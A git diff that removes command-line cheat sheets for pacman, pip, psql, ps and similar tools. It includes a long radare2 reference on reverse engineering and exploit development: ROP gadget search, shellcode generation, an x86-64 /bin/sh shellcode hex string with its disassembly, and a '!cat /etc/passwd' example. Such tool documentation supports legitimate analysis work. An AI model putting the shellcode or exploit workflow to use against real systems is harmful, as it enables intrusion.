-*- - -# .emacs - - To make org-mode automatically wrap lines: - - (add-hook 'org-mode-hook - '(lambda () - (visual-line-mode 1))) diff --git a/cheat/cheatsheets/p4 b/cheat/cheatsheets/p4 deleted file mode 100644 index dc4c2eb..0000000 --- a/cheat/cheatsheets/p4 +++ /dev/null @@ -1,5 +0,0 @@ -# Print details related to Client and server configuration -p4 info - -# Open a file and add it to depot -p4 add diff --git a/cheat/cheatsheets/pacman b/cheat/cheatsheets/pacman deleted file mode 100644 index 9312fe1..0000000 --- a/cheat/cheatsheets/pacman +++ /dev/null @@ -1,51 +0,0 @@ -# All the following command work as well with multiple package names - -# To search for a package -pacman -Ss - -# To update the local package base and upgrade all out of date packages -pacman -Suy - -# To install a package -pacman -S - -# To uninstall a package -pacman -R - -# To uninstall a package and his depedencies, removing all new orphans -pacman -Rcs - -# To get informations about a package -pacman -Si - -# To install a package from builded package file (.tar.xz) -pacman -U - -# To list the commands provided by an installed package -pacman -Ql | sed -n -e 's/.*\/bin\///p' | tail -n +2 - -# To list explicitly installed packages -pacman -Qe - -# To list the top-most recent explicitly installed packages (not in the base groups) -expac --timefmt='%Y-%m-%d %T' '%l\t%n' $(comm -23 <(pacman -Qeq|sort) <(pacman -Qqg base base-devel|sort)) | sort -r | head -20 - -# To list orphan packages (installed as dependencies and not required anymore) -pacman -Qdt - - -# You can't directly install packages from the Arch User Database (AUR) with pacman. -# You need yaourt to perform that. But considering yaourt itself is in the AUR, here is how to build a package from its tarball. -# Installing a package from AUR is a relatively simple process: -# - Retrieve the archive corresponding to your package from AUR website -# - Extract the archive (preferably in a folder for this purpose) -# - Run makepkg in the extracted directory. (makepkg-s allows you to install any dependencies automatically from deposits.) -# - Install the package created using pacman -# Assuming $pkgname contains the package name. -wget "https://aur.archlinux.org/packages/${pkgname::2}/$pkgname/$pkgname.tar.gz" -tar zxvf "$pkgname.tar.gz" -cd "$pkgname" -# Build the package -makepkg -s -# Install -sudo pacman -U diff --git a/cheat/cheatsheets/paste b/cheat/cheatsheets/paste deleted file mode 100644 index 065f3f2..0000000 --- a/cheat/cheatsheets/paste +++ /dev/null @@ -1,15 +0,0 @@ -# Concat columns from files -paste file1 file2 ... - -# List the files in the current directory in three columns: -ls | paste - - - - -# Combine pairs of lines from a file into single lines: -paste -s -d '\t\n' myfile - -# Number the lines in a file, similar to nl(1): -sed = myfile | paste -s -d '\t\n' - - - -# Create a colon-separated list of directories named bin, -# suitable for use in the PATH environment variable: -find / -name bin -type d | paste -s -d : - \ No newline at end of file diff --git a/cheat/cheatsheets/patch b/cheat/cheatsheets/patch deleted file mode 100644 index a3485c6..0000000 --- a/cheat/cheatsheets/patch +++ /dev/null @@ -1,13 +0,0 @@ -# Patch one file -patch version1 < version.patch - -# Reverse a patch -patch -R version1 < version.patch - -# Patch all files in a directory, adding any missing new files -# -p strips leading slashes -$ cd dir -$ patch -p1 -i ../big.patch - -# Patch files in a directory, with one level (/) offset -patch -p1 -r version1/ < version.patch diff --git a/cheat/cheatsheets/pdftk b/cheat/cheatsheets/pdftk deleted file mode 100644 index 6f1609c..0000000 --- a/cheat/cheatsheets/pdftk +++ /dev/null @@ -1,9 +0,0 @@ -# Concatenate all pdf files into one: -pdftk *.pdf cat output all.pdf - -# Concatenate specific pdf files into one: -pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf - -# Concatenate pages 1 to 5 of first.pdf with page 3 of second.pdf -pdftk A=fist.pdf B=second.pdf cat A1-5 B3 output new.pdf - diff --git a/cheat/cheatsheets/perl b/cheat/cheatsheets/perl deleted file mode 100644 index bd7edc7..0000000 --- a/cheat/cheatsheets/perl +++ /dev/null @@ -1,8 +0,0 @@ -# To view the perl version: -perl -v - -# Replace string "\n" to newline -echo -e "foo\nbar\nbaz" | perl -pe 's/\n/\\n/g;' - -# Replace newline with multiple line to space -cat test.txt | perl -0pe "s/test1\ntest2/test1 test2/m" diff --git a/cheat/cheatsheets/pgrep b/cheat/cheatsheets/pgrep deleted file mode 100644 index 853f758..0000000 --- a/cheat/cheatsheets/pgrep +++ /dev/null @@ -1,5 +0,0 @@ -# Get a list of PIDs matching the pattern -pgrep example - -# Kill all PIDs matching the pattern -pgrep -f example | xargs kill diff --git a/cheat/cheatsheets/php b/cheat/cheatsheets/php deleted file mode 100644 index 953c4bf..0000000 --- a/cheat/cheatsheets/php +++ /dev/null @@ -1,23 +0,0 @@ -# To view the php version: -php -v - -# To view the installed php modules: -php -m - -# To view phpinfo() information: -php -i - -# To lint a php file: -php -l file.php - -# To lint all php files within the cwd: -find . -name "*.php" -print0 | xargs -0 -n1 -P8 php -l - -# To enter an interactive shell: -php -a - -# To locate the system's php.ini files: -php -i | grep "php.ini" - -# To start a local webserver for the cwd on port 3000 (requires php >= 5.4): -php -S localhost:3000 diff --git a/cheat/cheatsheets/ping b/cheat/cheatsheets/ping deleted file mode 100644 index a50198b..0000000 --- a/cheat/cheatsheets/ping +++ /dev/null @@ -1,8 +0,0 @@ -# ping a host with a total count of 15 packets overall. -ping -c 15 www.example.com - -# ping a host with a total count of 15 packets overall, one every .5 seconds (faster ping). -ping -c 15 -i .5 www.example.com - -# test if a packet size of 1500 bytes is supported (to check the MTU for example) -ping -s 1500 -c 10 -M do www.example.com diff --git a/cheat/cheatsheets/ping6 b/cheat/cheatsheets/ping6 deleted file mode 100644 index 39e121e..0000000 --- a/cheat/cheatsheets/ping6 +++ /dev/null @@ -1,2 +0,0 @@ -# get all ipv6 neighbors via broadcast ping -ping6 -I eth0 ff02::1 diff --git a/cheat/cheatsheets/pip b/cheat/cheatsheets/pip deleted file mode 100644 index a4a4dfb..0000000 --- a/cheat/cheatsheets/pip +++ /dev/null @@ -1,30 +0,0 @@ -# Search for packages -pip search SomePackage - -# Install some packages -pip install SomePackage - -# Install some package in user space -pip install --user SomePackage - -# Upgrade some package -pip install --upgrade SomePackage - -# Output and install packages in a requirement file -pip freeze > requirements.txt -pip install -r requirements.txt - -# Show details of a package -pip show SomePackage - -# List outdated packages -pip list --outdated - -# Upgrade all outdated packages, thanks to http://stackoverflow.com/a/3452888 -pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U - -# Upgrade outdated packages on latest version of pip -pip list --outdated --format=freeze | cut -d = -f 1 | xargs -n1 pip install -U - -# Install specific version of a package -pip install -I SomePackage1==1.1.0 'SomePackage2>=1.0.4' diff --git a/cheat/cheatsheets/pkgtools b/cheat/cheatsheets/pkgtools deleted file mode 100644 index d130750..0000000 --- a/cheat/cheatsheets/pkgtools +++ /dev/null @@ -1,27 +0,0 @@ -# Create a Slackware package from a structured directory and sub-tree -$ cd /path/to/pkg/dir -$ su - c 'makepkg --linkadd y --chown n $foo-1.0.3-x86_64-1_tag.tgz' - - -# Install a Slackware package -installpkg foo-1.0.3-x86_64-1.tgz - -# Install a Slackware package to non-standard location -ROOT=/path/to/dir installpkg foo-1.0.4-noarch-1.tgz - -# Create backup of files that will be overwritten when installing -tar czvf /tmp/backup.tar.gz $(installpkg --warn foo-1.0.4-noarch-1.tgz) - - -# Upgrade a Slackware package including files only in new version -upgradepkg --install-new foo-1.0.6-noarch-1.tgz - -# Upgrade a Slackware package even if version is the same -upgradepkg --reinstall foo-1.0.4-noarch-1.tgz - - -# Remove a Slackware package -removepkg foo-0.2.8-x86_64-1 - -# Remove a Slackware package, retaining a backup (uninstalled) copy -removepkg -copy foo-0.2.8-x86_64-1 # -> /var/log/setup/tmp/preserved_packages/foo... \ No newline at end of file diff --git a/cheat/cheatsheets/pkill b/cheat/cheatsheets/pkill deleted file mode 100644 index f24a03f..0000000 --- a/cheat/cheatsheets/pkill +++ /dev/null @@ -1,5 +0,0 @@ -# To kill a process using it's full process name -pkill - -# To kill a process by it's partial name -pkill -f diff --git a/cheat/cheatsheets/popd b/cheat/cheatsheets/popd deleted file mode 100644 index a913b2f..0000000 --- a/cheat/cheatsheets/popd +++ /dev/null @@ -1,2 +0,0 @@ -# Returns to the directory at the top of the `pushd' stack -popd diff --git a/cheat/cheatsheets/ps b/cheat/cheatsheets/ps deleted file mode 100644 index 75d6155..0000000 --- a/cheat/cheatsheets/ps +++ /dev/null @@ -1,15 +0,0 @@ -# To list every process on the system: -ps aux - -# To list a process tree -ps axjf - -# To list every process owned by foouser: -ps -aufoouser - -# To list every process with a user-defined format: -ps -eo pid,user,command - -# Exclude grep from your grepped output of ps. -# Add [] to the first letter. Ex: sshd -> [s]shd -ps aux | grep '[h]ttpd' diff --git a/cheat/cheatsheets/psql b/cheat/cheatsheets/psql deleted file mode 100644 index fed3a21..0000000 --- a/cheat/cheatsheets/psql +++ /dev/null @@ -1,27 +0,0 @@ -# psql is the PostgreSQL terminal interface. The following commands were tested on version 9.5. -# Connection options: -# -U username (if not specified current OS user is used). -# -p port. -# -h server hostname/address. - -# Connect to a specific database: -psql -U postgres -h serverAddress -d dbName - -# Get databases on a server: -psql -U postgres -h serverAddress --list - -# Execute sql query and save output to file: -psql -U postgres -d dbName -c 'select * from tableName;' -o fileName - -# Execute query and get tabular html output: -psql -U postgres -d dbName -H -c 'select * from tableName;' - -# Execute query and save resulting rows to csv file -# (if column names in the first row are not needed, remove the word 'header'): -psql -U postgres -d dbName -c 'copy (select * from tableName) to stdout with csv header;' -o fileName.csv - -# Read commands from file: -psql -f fileName - -# Restore databases from file: -psql -f fileName.backup postgres diff --git a/cheat/cheatsheets/pushd b/cheat/cheatsheets/pushd deleted file mode 100644 index 5202960..0000000 --- a/cheat/cheatsheets/pushd +++ /dev/null @@ -1,5 +0,0 @@ -# Pushes your current directory to the top of a stack while changing to the specified directory -pushd - -# To return use popd -popd diff --git a/cheat/cheatsheets/pwd b/cheat/cheatsheets/pwd deleted file mode 100644 index f672c88..0000000 --- a/cheat/cheatsheets/pwd +++ /dev/null @@ -1,2 +0,0 @@ -# Show the absolute path of your current working directory on the filesystem -pwd diff --git a/cheat/cheatsheets/python b/cheat/cheatsheets/python deleted file mode 100644 index d4d14dc..0000000 --- a/cheat/cheatsheets/python +++ /dev/null @@ -1,16 +0,0 @@ -# Desc: Python is a high-level programming language. - -# Basic example of server with python -# Will start a Web Server in the current directory on port 8000 -# go to http://127.0.0.1:8000 - -# Python v2.7 -python -m SimpleHTTPServer -# Python 3 -python -m http.server 8000 - -# SMTP-Server for debugging, messages will be discarded, and printed on stdout. -python -m smtpd -n -c DebuggingServer localhost:1025 - -# Pretty print a json -python -mjson.tool diff --git a/cheat/cheatsheets/r2 b/cheat/cheatsheets/r2 deleted file mode 100644 index 402a916..0000000 --- a/cheat/cheatsheets/r2 +++ /dev/null @@ -1,936 +0,0 @@ -# Command Line options - -L: List of supported IO plugins - - -q: Exit after processing commands - - -w: Write mode enabled - - -i: Interprets a r2 script - - -A: Analize executable at load time (xrefs, etc) - - -n: Bare load. Do not load executable info as the entrypoint - - -c'cmds': Run r2 and execute commands (eg: r2 -wqc'wx 3c @ main') - - -p: Creates a project for the file being analyzed (CC add a comment when opening a file as a project) - - -: Opens r2 with the malloc plugin that gives a 512 bytes memory area to play with (size can be changed); Similar to r2 malloc://512 - ------------------------------------------------------------------------------------------------------------------------------ - -# Configuration properties - e: Returs configuration properties - - e : Checks a specific property: - e asm.tabs => false - - e =: Change property value - e asm.arch=ppc - - e? help about a configuration property - e? cmd.stack - - - - # Show comments at right of disassembly if they fit in screen - e asm.cmtright=true - - # Shows pseudocode in disassembly. Eg mov eax, str.ok = > eax = str.ok - e asm.pseudo = true - - # Display stack and register values on top of disasembly view (visual mode) - e cmd.stack = true - - # Solarized theme - eco solarized - - # Use UTF-8 to show cool arrows that do not look like crap :) - e scr.utf8 = true - ------------------------------------------------------------------------------------------------------------------------------ - -# Basic Commands - - ; Command chaining: x 3;s+3;pi 3;s+3;pxo 4; - - | Pipe with shell commands: pd | less - - ! Run shell commands: !cat /etc/passwd - - !! Escapes to shell, run command and pass output to radare buffer - - Note: The double exclamation mark tells radare to skip the plugin list to find an IO plugin handling this - command to launch it directly to the shell. A single one will walk through the io plugin list. - - ` Radare commands: wx `!ragg2 -i exec` - - ~ grep - - ~! grep -v - - ~[n] grep by columns afl~[0] - - ~:n grep by rows afl~:0 - - ~.. less/more mode - - +------------------------------------------------------------------- - - pi~mov,eax ; lines with mov or eax - pi~mov&eax ; lines with mov and eax - pi~mov,eax:6 ; 6 first lines with mov or eax - pd 20~call[0]:0 ; grep first column of the first row matching 'call' - - +------------------------------------------------------------------- - - .cmd Interprets command output - - +------------------------------------------------------------------- - - is* prints symbolos - .is* interprets output and define the symbols in radare (normally they are already loaded if r2 was not invoked with -n) - - +------------------------------------------------------------------- - - .. repeats last commands (same as enter \n) - - ( Used to define and run macros - - $ Used to define alias - - $$: Resolves to current address - - Offsets (@) are absolute, we can use $$ for relative ones @ $$+4 - - ? Evaluate expression - +------------------------------------------------------------------- - - [0x00000000]> ? 33 +2 - 35 0x23 043 0000:0023 35 00100011 35.0 0.000000 - Note: | and & need to be escaped - - +------------------------------------------------------------------- - - ?$? Help for variables used in expressions - - $$: Here - - $s: File size - - $b: Block size - - $l: Opcode length - - $j: When $$ is at a jmp, $j is the address where we are going to jump to - - $f: Same for jmp fail address - - $m: Opcode memory reference (e.g. mov eax,[0x10] => 0x10) - - ??? Help for ? command - - ?i Takes input from stdin. Eg ?i username - - ?? Result from previous operations - - ?s from to [step]: Generates sequence from to every - - ?p: Get physical address for given virtual address - - ?P: Get virtual address for given physical one - - ?v Show hex value of math expr - - +------------------------------------------------------------------- - - ?v 0x1625d4ca ^ 0x72ca4247 = 0x64ef968d - ?v 0x4141414a - 0x41414140 = 0xa - - +------------------------------------------------------------------- - - ?l str: Returns the length of string - - @@: Used for iteractions - - +------------------------------------------------------------------- - - wx ff @@10 20 30 Writes ff at offsets 10, 20 and 30 - wx ff @@`?s 1 10 2` Writes ff at offsets 1, 2 and 3 - wx 90 @@ sym.* Writes a nop on every symbol - - +------------------------------------------------------------------- - -# Positioning - - s address: Move cursor to address or symbol - - s-5 (5 bytes backwards) - - s- undo seek - - s+ redo seek - -# Block Size - - b size: Change block size - -# Analyze - - aa: Analyze all (fcns + bbs) same that running r2 with -A - - ahl : fake opcode length for a range of bytes - - ad: Analyze data - - ad@rsp (analize the stack) - - + Normal mode - - af: Analyze functions - - afl: List all functions - number of functions: afl~? - - afi: Returns information about the functions we are currently at - - afr: Rename function: structure and flag - - afr off: Restore function name set by r2 - - afn: Rename function - - afn strlen 0x080483f0 - - af-: Removes metadata generated by the function analysis - - af+: Define a function manually given the start address and length - af+ 0xd6f 403 checker_loop - - axt: Returns cross references to (xref to) - - axf: Returns cross references from (xref from) - - + Visual mode - - d, f: Function analysis - - d, u: Remove metadata generated by function analysis - - + Opcode analysis - - ao x: Analize x opcodes from current offset - - a8 bytes: Analize the instruction represented by specified bytes - -# Information - - iI: File info - - iz: Strings in data section - - izz: Strings in the whole binary - - iS: Sections - iS~w returns writable sections - - is: Symbols - is~FUNC exports - - il: Linked libraries - - ii: Imports - - ie: Entrypoint - - + Mitigations - - i~pic : check if the binary has position-independent-code - - i~nx : check if the binary has non-executable stack - - i~canary : check if the binary has canaries - -# Print - - psz n @ offset: Print n zero terminated String - - px n @ offset: Print hexdump (or just x) of n bytes - - pxw n @ offset: Print hexdump of n words - pxw size@offset prints hexadecimal words at address - - pd n @ offset: Print n opcodes disassambled - - pD n @ offset: Print n bytes disassembled - - pi n @ offset: Print n instructions disassambeled (no address, XREFs, etc. just instrunctions) - - pdf @ offset: Print disassembled function - pdf~XREF (grep: XREFs) - pdf~call (grep: calls) - - pcp n @ offset: Print n bytes in python string output. - pcp 0x20@0x8048550 - import struct - buf = struct.pack ("32B", - 0x55,0x89,0xe5,0x83,0xzz,0xzz,0xzz,0xzz,0xf0,0x00,0x00, - 0x00,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0xeb,0x20, - 0xc7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xzz,0xzz) - - p8 n @ offset: Print n bytes (8bits) (no hexdump) - - pv: Print file contents as IDA bar and shows metadata for each byte (flags , ...) - - pt: Interpret data as dates - - pf: Print with format - - pf.: list all formats - - p=: Print entropy ascii graph - -# Write - - wx: Write hex values in current offset - wx 123456 - wx ff @ 4 - - wa: Write assembly - wa jnz 0x400d24 - - wc: Write cache commit - - wv: Writes value doing endian conversion and padding to byte - - wo[x]: Write result of operation - wow 11223344 @102!10 - write looped value from 102 to 102+10 - 0x00000066 1122 3344 1122 3344 1122 0000 0000 0000 - - wox 0x90 - XOR the current block with 0x90. Equivalent to wox 0x90 $$!$b (write from current position, a whole block) - - wox 67 @4!10 - XOR from offset 4 to 10 with value 67 - - wf file: Writes the content of the file at the current address or specified offset (ASCII characters only) - - wF file: Writes the content of the file at the current address or specified offset - - wt file [sz]: Write to file (from current seek, blocksize or sz bytes) - Eg: Dump ELF files with wt @@ hit0* (after searching for ELF headers: \x7fELF) - - woO 41424344 : get the index in the De Bruijn Pattern of the given word - -# Flags - - f: List flags - - f label @ offset: Define a flag `label` at offset - f str.pass_len @ 0x804999c - - f -label: Removes flag - - fr: Rename flag - - fd: Returns position from nearest flag (looking backwards). Eg => entry+21 - - fs: Show all flag spaces - - fs flagspace: Change to the specified flag space - - fe loop and create numbered flags: - - 1. fs demo_flagspace - 2. fe demo_flagspace @@=`pdf~jne[1]` - -# Yank & Paste - - y n: Copies n bytes from current position - - y: Shows yank buffer contentent with address and length where each entry was copied from - - yp: Prints yank buffer - - yy offset: Paste the contents of the yank buffer at the specified offset - - yt n target @ source: Yank to. Copy n bytes fromsource to target address - -# Visual Mode - - q: Exits visual mode - - hjkl: move around (or HJKL) (left-down-up-right) - - o: go/seek to given offset - - ?: Help - - .: Seek EIP - - : Follow address of the current jump/call - - :cmd: Enter radare commands. Eg: x @ esi - - d[f?]: Define cursor as a string, data, code, a function, or simply to undefine it. - dr: Rename a function - df: Define a function - - v: Get into the visual code analysis menu to edit/look closely at the current function. - - p/P: Rotate print (visualization) modes - hex, the hexadecimal view - disasm, the disassembly listing - Use numbers in [] to follow jump - Use "u" to go back - - debug, the debugger - words, the word-hexidecimal view - buf, the C-formatted buffer - annotated, the annotated hexdump. - - c: Changes to cursor mode or exits the cursor mode - select: Shift+[hjkl] - i: Insert mode - a: assembly inline - A: Assembly in visual mode - y: Copy - Y: Paste - f: Creates a flag where cursor points to - in the hexdump view to toggle between hex and strings columns - - V: View ascii-art basic block graph of current function - - W: WebUI - - x, X: XREFs to current function. ("u" to go back) - - t: track flags (browse symbols, functions..) - - gG: Begging or end of file - - HUD - _ Show HUD - backspace: Exits HUD - We can add new commands to HUD in: radare2/shlr/hud/main - - ;[-]cmt: Add/remove comment - - m: Define a bookmark - - ': Go to previously defined bookmark - -# ROP - - /R opcodes: Search opcodes - - /R pop,pop,ret - - /Rl opcodes: Search opcodes and print them in linear way - - /Rl jmp eax,call ebx - - /a: Search assembly - - /a jmp eax - - pda: Returns a library of gadgets that can be use. These gadgets are obtained by disassmbling byte per byte instead of obeying to opcode leng - - e search.roplen = 4 (change the depth of the search, to speed-up the hunt) - -# Searching - - / bytes: Search bytes - \x7fELF - - +------------------------------------------------------------------- - - push ebp - mov ebp, esp - - Opcodes: 5589e5 - - /x 5589e5 - [# ]hits: 54c0f4 < 0x0804c600 hits = 1 - 0x08049f70 hit0_0 5589e557565383e4f081ec - 0x0804c31a hit0_1 5589e583ec18c704246031 - 0x0804c353 hit0_2 5589e583ec1889442404c7 - 0x0804c379 hit0_3 5589e583ec08e87cffffff - 0x0804c3a2 hit0_4 5589e583ec18c70424302d - - pi 5 @@hit* (Print 5 first instructions of every hit) - - +------------------------------------------------------------------- - - Its possible to run a command for each hit. Use the cmd.hit property: - - e cmd.hit=px - -# Comments and defines - - Cd [size]: Define as data - - C- [size]: Define as code - - Cs [size]: Define as String - - Cf [size]: Define as struct - We can define structures to be shown in the disassmbly - - CC: List all comments or add a new comment in console mode - C* Show all comments/metadata - CC add new comment - CC- remove comment - -# Magic files - - pm: Print Magic files analysis - [0x00000000]> pm - 0x00000000 1 ELF 32-bit LSB executable, Intel 80386, version 1 - - /m [magicfile]: Search magic number headers with libmagic - - search.align - search.from (0 = beginning) - search.to (0 = end) - search.asmstr - search.in - -# Yara - - :yara scan - -# Zignatures - - zg : Generate signatures - eg: zg go go.z - - Run the generated script to load signatures - eg: . go.z - - z: To show signatures loaded: - - +------------------------------------------------------------------- - - r2-(pid2)> pd 35 @ 0x08049adb-10 - | 0x08049adb call fcn.0805b030 - | fcn.0805b030(unk, unk, unk, unk) ; sign.sign.b.sym.fmt.Println - | 0x08049ae0 add esp, 0xc - | 0x08049ae3 call fcn.08095580 - - +------------------------------------------------------------------- - -# Compare Files - - r2 -m 0xf0000 /etc/fstab ; Open source file - - o /etc/issue ; Open file2 at offset 0 - - o ; List both files - - cc offset: Diff by columns between current offset address and "offset" - -# Graphs - - + Basic block graphs - - af: Load function metadata - - ag $$ > a.dot: Dump basic block graph to file - - ag $$ | xdot: Show current function basic block graph - - + Call graphs - - af: Load function metadata - - agc $$ > b.dot: Dump basic block graph to file - - + Convert .dot in .png - - dot -Tpng -o /tmp/b.png b.dot - - + Generate graph for file - - radiff2 -g main crackme.bin crackme.bin > /tmp/a - xdot /tmp/a - -# Debugger - - + Start r2 in debugger mode. r2 will fork and attach - - r2 -d [pid|cmd|ptrace] (if command contains spaces use quotes: r2 -d "ls /") - - ptrace://pid (debug backend does not notice, only access to mapped memory) - - + Pass arguments - - r2 -d rarun2 program=pwn1 arg1=$(python exploit.py) - - + Pass stdin - - r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) - - + Commands - - do: Reopen program - - dp: Shows debugged process, child processes and threads - - dc: Continue - - dcu
: Continue until symbol (sets bp in address, continua until bp and remove bp) - - dc[sfcp]: Continue until syscall(eg: write), fork, call, program address (To exit a library) - - ds: Step in - - dso: Step out - - dss: Skip instruction - - dr register=value: Change register value - - dr(=)?: Show register values - - db address: Sets a breakpoint at address - db sym.main add breakpoint into sym.main - db 0x804800 add breakpoint - db -0x804800 remove breakpoint - - dsi (conditional step): Eg: "dsi eax==3,ecx>0" - - dbt: Shows backtrace - - drr: Display in colors and words all the refs from registers or memory - - dm: Shows memory map (* indicates current section) - [0xb776c110]> dm - sys 0x08048000 - 0x08062000 s r-x /usr/bin/ls - sys 0x08062000 - 0x08064000 s rw- /usr/bin/ls - sys 0xb776a000 - 0xb776b000 s r-x [vdso] - sys 0xb776b000 * 0xb778b000 s r-x /usr/lib/ld-2.17.so - sys 0xb778b000 - 0xb778d000 s rw- /usr/lib/ld-2.17.so - sys 0xbfe5d000 - 0xbfe7e000 s rw- [stack] - - + To follow child processes in forks (set-follow-fork-mode in gdb) - - dcf until a fork happen then use dp to select what process you want to debug. - - + PEDA like details - - drr;pd 10@-10;pxr 40@esp - - + Debug in visual mode - - toggl breakpoints with F2 - single-step with F7 (s) - step-over with F8 (S) - continue with F9 - -# WebGUI - - =h: Start the server - =H: Start server and browser - -# rax2 - Base Conversion - - -e: Change endian - - -k: random ASCII art to represent a number/hash. Similar to how SSH represents keys - - -s: ASCII to hex - rax2 -S hola (from string to hex) - rax2 -s 686f6c61 (from hex to string) - - -S: binary to hex (for files) - - -N: pack an integer - rax2 -N 0x1234 # \x34\x12\x00\x00 - -# rahash2 - Entropy, hashes and checksums - - -a: Specify the algorithm - - -b XXX: Block size - - -B: Print all blocks - - -a entropy: Show file entropy or entropy per block (-B -b 512 -a entropy) - - + Rot13 with rahash2 - rahash2 -E rot -S s:13 -s ‘Hello\n’ - -# radiff2 - File diffing - - -s: Calculate text distance from two files. - - -d: Delta diffing (For files with different sizes. Its not byte per byte) - - -C: Code diffing (instead of data) - - +------------------------------------------------------------------- - - Diff original and patched on x86_32, using graphdiff algorithm - radiff2 -a x86 -b32 -C original patched - - Show differences between original and patched on x86_32 - radiff2 -a x86 -b32 original patched : - - +------------------------------------------------------------------- - -# rasm2 - Assembly/Disasembly - - -L: Supported architectures - - -a arch instruction: Sets architecture - rasm2 -a x86 'mov eax,30' => b81e000000 - - -b tam: Sets block size - - -d: Disassembly - rasm2 -d b81e000000 => mov eax, 0x1e - - -C: Assembly in C output - rasm2 -C 'mov eax,30' => "\xb8\x1e\x00\x00\x00" - - -D: Disassemble showing hexpair and opcode - rasm2 -D b81e0000 => 0x00000000 5 b81e000000 mov eax, 0x1e - - -f: Read data from file instead of ARG. - - -t: Write data to file - - + Disassemble shellcode from hex stdin - - +------------------------------------------------------------------- - - echo -n "31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05" | rasm2 -a x86 -b 64 -d - - xor eax, eax - movabs rbx, 0xff978cd091969dd1 - neg rbx - push rbx - push rsp - pop rdi - cdq - push rdx - push rdi - push rsp - pop rsi - mov al, 0x3b - syscall - - +------------------------------------------------------------------- - -# rafind2 - Search - - -Z: Look for Zero terminated strings - - -s str: Look for specifc string - - -X: Hex dump around output - - + Search "/bin/sh" in libc - - rafind2 -X -s "/bin/sh" /usr/lib/libc.so.6 - -# ragg2 - Shellcode generator, C/opcode compiler - - P: Generate De Bruijn patterns - ragg2 -P 300 -r - - -a arch: Configure architecture - - -b bits: Specify architecture bits (32/64) - - -i shellcode: Specify shellcode to generate - - -e encoder: Specify encoder - - + ragg2-cc: Generate shellcode from c - - + Generate a x86, 32 bits exec shellcode - ragg2 -a x86 -b 32 -i exec - -# rabin2 - Executable analysis: symbols, imports, strings - - -I: Executable information - - -C: Returns classes. Useful to list Java Classes - - -l: Dynamic linked libraries - - -s: Symbols - - -z: Strings - -# rarun2 - Launcher to run programs with different environments, args, stdin, permissions, fds - - r2 -b 32 -d rarun2 program=pwn1 arg1=$(ragg2 -P 300 -r) : runs pwn1 with a De Bruijn Pattern as first argument, inside radare2's debugger, and force 32 bits - r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) : runs /bin/ls with the output of exploit.py directed to stdin - -# ESIL emulation - - 1) aei: Initialize ESIL VM - - 2) aeim: Assign ESIL stack - aeim 0xffffd000 0x1000 stack - - 3) aeip: Program counter to current seek - - 4) e io.cache=true: Enable caching read/write of virtual memory (Important if self modifying code) - - 5) aes: Single stepping in emulation mode - - + Toggle IL representation via O in Visual Mode - -# ESIL Linear emulation - - Find all references to curr. address using linear esil emulation on all imports. - - /re$$@@ sym.imp.* - -# ESIL IL Representation - - op esil - ------------ - mov = - mul * - div / - and & - neg ! - read [] - if ?{ - add + - sub - - xor ^ - or | - cmp == - write =[] - - + prefix is % - + carry from bit x -> %cx - + borrow from bit x -> %bx - + zero-flag -> %z - + parity of dst -> %p - + sign-flag -> %s - + overflow-flag -> %o - - + BREAK - Stop parsing and emulate next instruction - + LOOP - restart emulation of instruction - + GOTO n - jump to n - + TODO - stop emulation and eprintf("TDOD %s", ins) - - x86 ESIL - ------------------------------------------------------ - mov eax, ebx ebx,eax,= - jz 0xaabbccdd zf,?{,0xaabbccdd,eip,=,} - cmp ecx,edx edx,ecx,==,%z,zf,=,%b32,cf,=,%p,pf,=,%s,sf,= - push ebp 4,esp,-=ebp,esp,=[4] - - + ESIL Doc - https://github.com/radare/radare2book/blob/master/esil.md - -# r2pipe commands - - + Invoke r2pipe script via r2 cmdline - - [0x00000000]> #!pipe node script.js - [0x00000000]> #!pipe python script.py - - + Good collection: - https://radare.org/get/r2pipe-nn2015.pdf - https://github.com/jpenalbae/r2-scripts -# Parsing ELF - - !!! open with r2 -nn - - + Parse 9 program headers (elf_phdr) from curr. seek plus offset 0x40 with temporary block size 0x200 in less mode (~..) - - [0x00000000]> pf 9? (elf_phdr)phdr @ $$+0x40!0x200~.. - -# pf Templates - - + Generate templates for structs/enums with td command - - "td enum elf_class {ELFCLASSNONE=0, ELFCLASS32=1, ELFCLASS64=2};" - - https://github.com/Maijin/r2-pf-templates/ - - + Cast data @ to and print it - - tp =
- -# r2scapy - - r2 -i r2scapy.py dump.bin - [0x00000000]> scapy DNS 0x81de3c 48 - DNS(aa=1L, qr=1L, an=DNSRR(rclass=32769, ttl=120, rrname='flashair.local.', rdata='192.168.0.1', type=1), ad=0L, nscount=0, qdcount=1, ns=None, tc=0L, rd=1L, arcount=0, ar=None, opcode=0L, ra=0L, cd=0L, z=0L, rcode=0L, id=0, ancount=1, qd=DNSQR(qclass=32769, qtype=255, qname='flashair.local.')) - - + generate packets with scapy - >>> from scapy.all import * - >>> sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.thepacketgeek.com")),verbose=0) - -# r2m2 -Miasm Intermediate Representation Plugin - - + Assemble and disassemble MIPS32 using rasm2 - - r2m2$ export R2M2_ARCH=mips32l; rasm2 -a r2m2 'addiu a0, a1, 2' |rasm2 -a r2m2 -d - - ADDIU A0, A1, 0x2 - - + Disassemble random MSP430 instructions in r2 - - r2m2$ R2M2_ARCH=msp430 r2 -a r2m2 -qc 'woR; pd 5' - - 0x00000000 07fa and.w R10, R7 - 0x00000002 47ad dadd.b R13, R7 - 0x00000004 f05e0778 add.b @R14+, 0x7807(PC) - 0x00000008 f46d81ed addc.b @R13+, 0xED81(R4) - 0x0000000c 3fdc bis.w @R12+, R15 - + Assemble MIPS32 using rasm2 and display the call graph using r2 - - r2m2$ R2M2_ARCH=mips32b rasm2 -a r2m2 'j 0x4; nop' -B > j_nop.bin - - r2m2$ R2M2_ARCH=mips32b r2 -a r2m2 -qc 'pd 2' j_nop.bin - ,=< 0x00000000 0c000001 JAL 0x4 - `-> 0x00000004 00000000 NOP - -# bin carving with r2 - - + Open raw dump - - r2 -n dump.bin - - + Searching for magic - - [0x00000000]> / \x7fELF - Searching 4 bytes from 0x00000000 to 0x0000002d: 7f 45 4c 46 - 0x00001340 hit0_0 - 0x00001744 hit0_1 - ... 